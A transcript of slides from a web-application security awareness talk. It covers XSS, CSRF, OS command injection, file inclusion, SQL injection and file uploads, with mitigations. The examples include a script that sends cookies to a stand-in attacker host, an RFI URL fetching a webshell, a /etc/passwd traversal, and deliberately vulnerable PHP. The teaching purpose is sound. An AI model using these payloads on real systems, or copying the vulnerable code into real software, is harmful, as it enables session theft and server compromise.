Transcript Secure and High Performance web Applications.

Lets Make our Web Applications
Secure.
Dipankar Sinha
Project Manager
Infrastructure and Hosting
What do you mean by Information Security??
Information security means protecting information and information
systems from unauthorized access, use, disclosure, disruption,
modification, perusal, inspection, recording or destruction.
Consists of (C I A):
* Confidentiality Ensuring that information is not accessed by
unauthorized persons.
* Integrity  Ensuring that information is not altered by
unauthorized persons in a way that is not detectable by authorized
users.
* Authentication  Ensuring that users are the persons they claim
to be.
Security in Shopping Mall??
IN
Browse
Out
Know your enemy??
•
•
•
•
•
•
•
•
•
•
XSS vulnerability
CSRF vulnerability
path Traversal
null Byte
OS Commanding
Local File Inclusion (LFI)
Remote File Inclusion (RFI)
Information Disclosure
SQL Injection
file Upload
XSS ??
• Persistent (Stored)
• Non-Persistent
• Non-Persistent Example:
–
http://server/cgi-bin/testcgi.exe?<SCRIPT>alert(“Cookie”+document.cookie)</SCRIPT>
– %3cscript src=http://www.example.com/malicious-code.js%3e%3c/script%3e
• Persistent Example:
– <SCRIPT> document.location= 'http://attackerhost.example/cgibin/cookiesteal.cgi?'+document.cookie </SCRIPT>
http://ha.ckers.org/xss.html
Prevent XSS (PHP way)??
• htmlentities
 Convert all applicable characters to HTML
entities.
• htmlspecialchars  Convert special characters to HTML
entities.
• strip_tags  Strip HTML and PHP tags from a string.
http://w3af.sourceforge.net/ : detection tool
http://www.parosproxy.org/ : detection tool
http://www.xssed.com/
Cross-site request forgery (CSRF)??
• One Click Attack
• unauthorized commands are transmitted from a
user machine that the website trusts.
The following characteristics are common to CSRF:
•
•
•
•
•
Involve sites that rely on a user's identity
Exploit the site's trust in that identity
Trick the user's browser into sending HTTP requests to a target site
Involve HTTP requests that have side effects
<img
src="http://bank.example.com/withdraw?account=gates&amount=1000000&for=sinha">
http://www.owasp.org/index.php/Image:CSRFTester-1.0.zip
Chances of CSRF??
Several things have to happen for cross-site request forgery to succeed:
• The attacker must target either a site that doesn't check the referrer
header (which is common) or a victim with a browser or plugin bug
that allows referrer spoofing (which is rare).
•
The attacker must find a form submission at the target site, or a
URL that has side effects, that does something (e.g., transfers money,
or changes the victim's e-mail address or password).
•
The attacker must determine the right values for all the form's or
URL's inputs; if any of them are required to be secret authentication
values or IDs that the attacker can't guess, the attack will fail.
•
The attacker must lure the victim to a Web page with malicious code
while the victim is logged in to the target site.
http://www.owasp.org/index.php/Image:CSRFTester-1.0.zip
Rx CSRF??
• Requiring the client to provide authentication data in the same HTTP
Request used to perform any operation with security implications
(money transfer, etc)
• Limiting the lifetime of session cookies
• Checking the HTTP Referer header
• Add unique token every time during transactions and generate and
verify at server side.
http://www.owasp.org/index.php/Image:CSRFTester-1.0.zip
OS Commanding??
• used for unauthorized execution of operating system commands
• result of mixing trusted code and untrusted data
• attack is possible when an application accepts untrusted input to build
operating system commands in an insecure manner involving
improper data sanitization, and/or improper calling of external
programs
• executed commands by an attacker will run with the same privileges of
the component that executed the command.
Sample:
$month = $_GET['month'];
$year = $_GET['year'];
exec("cal $month $year", $result);
print "<PRE>";foreach ($result as $r)
{ print "$r<BR>"; }
print "</PRE>";
Terrible RFI/LFI… Careful Please..
• Attack technique used to exploit "dynamic file include" mechanisms in
web applications.
• When web applications take user input (URL, parameter value, etc.)
and pass them into file include commands, the web application might
be tricked into including remote files with malicious code.
• RFI means executing remotely hosted malicious code at server level.
• The attacker's malicious code can manipulate the content of the
response sent to the client. The attacker can embed malicious code in
the response that will be run by the client (for example, Javascript to
steal the client session cookies). (LFI)
• In PHP the main cause is due to the use of unvalidated external
variables such as $_GET, $_POST, $_COOKIE with a filesystem
function.
• The PHP language has an allow_url_fopen directive, and if enabled it
allows filesystem functions to use a URL which allows them to retrieve
data from remote locations. An attacker will alter a variable that is
passed to one of these functions to cause it to include malicious code
from a remote resource. To mitigate this vulnerability, all user input
needs to be validated before being used
Terrible RFI/LFI… Careful Please..
<?php
$color = 'blue';
if (isset( $_GET['COLOR'] ) )
$color = $_GET['COLOR'];
include( $color . '.php' );
?>
<form method="get">
<select name="COLOR">
<option value="red">red</option>
<option value="blue">blue</option>
</select>
<input type="submit">
</form>
/vulnerable.php?COLOR=http://evil.example.com/webshell.txt?
/vulnerable.php?COLOR=C:\\ftp\\upload\\exploit
/vulnerable.php?COLOR=/etc/passwd%00
http://w3af.sourceforge.net/
SQL Injection..
• Many web applications take user input from a form
• Often this user input is used literally in the construction of a SQL query
submitted to a database. For example:
– SELECT productdata FROM table WHERE productname = ‘user
input product name’;
• A SQL injection attack involves placing SQL statements in the user
input
• E.g. “Search GOLD OR ‘x’ = ‘x”.
• This input is put directly into the SQL statement within the Web
application:
– SELECT prodinfo FROM prodtable WHERE prodname = ‘GOLD ‘
OR ‘x’ = ‘x’
– Attacker has now successfully caused the entire database to be
returned
http://w3af.sourceforge.net/
SQL Injection..
• Hackers can :
–
–
–
–
–
Add new viagra ad in your website.
Delete your Database/tables/records.
Sell items for free.
Can sell your company information to others.
Can use USERs data for benefit (credit card information etc.)
• Solution?
–
–
–
–
Check syntax of input for validity
Have length limits on input
Many SQL injection attacks depend on entering long strings
Scan query string for undesirable word combinations that indicate SQL
statements (Insert,Drop,update, delete,select etc).
– Limit database permissions and segregate users
– Default error reporting often gives away information that is valuable for
attackers (table name, field name, etc.). Configure properly.
http://w3af.sourceforge.net/
file Upload..Any problem?
Mostly nowadays contains a file upload feature, which has a validation
but can be used for a person to upload malicious script files and
thereby take control of our server.
As main countermeasures you can have in mind:
• Checking the file size.
• Deny execute permission on the directory where the files are
uploaded.
• Check MIME-TYPE.
• Check the file extension.
• Protecting the upload folder with .htaccess with –ExecCGI
• If possible, upload the files in a directory outside the server root
• Create a list of accepted mime-typesGenerate a random file name and
add the previously generated extension
• Don’t rely on client-side validation only, since it is not enough. Ideally
one should have both server-side and client-side validation
implemented.
Helpful tools ??
•
•
•
•
http://wapiti.sourceforge.net/
http://www.cirt.net/nikto2
http://www.nessus.org/
http://www.darknet.org.uk/2007/01/spik
e-proxy-application-level-securityassessment/
References and Good reading
•
•
•
•
•
•
•
•
http://www.wikipedia.org/
https://www.owasp.org/
http://www.cert.org/
http://www.cert-in.org.in/
http://www.metasploit.com
http://www.infosecinstitute.com
http://www.pentestit.com
http://www.sans.org
?????????
ANY QUESTIONS ??
Want to contact later ?
[email protected]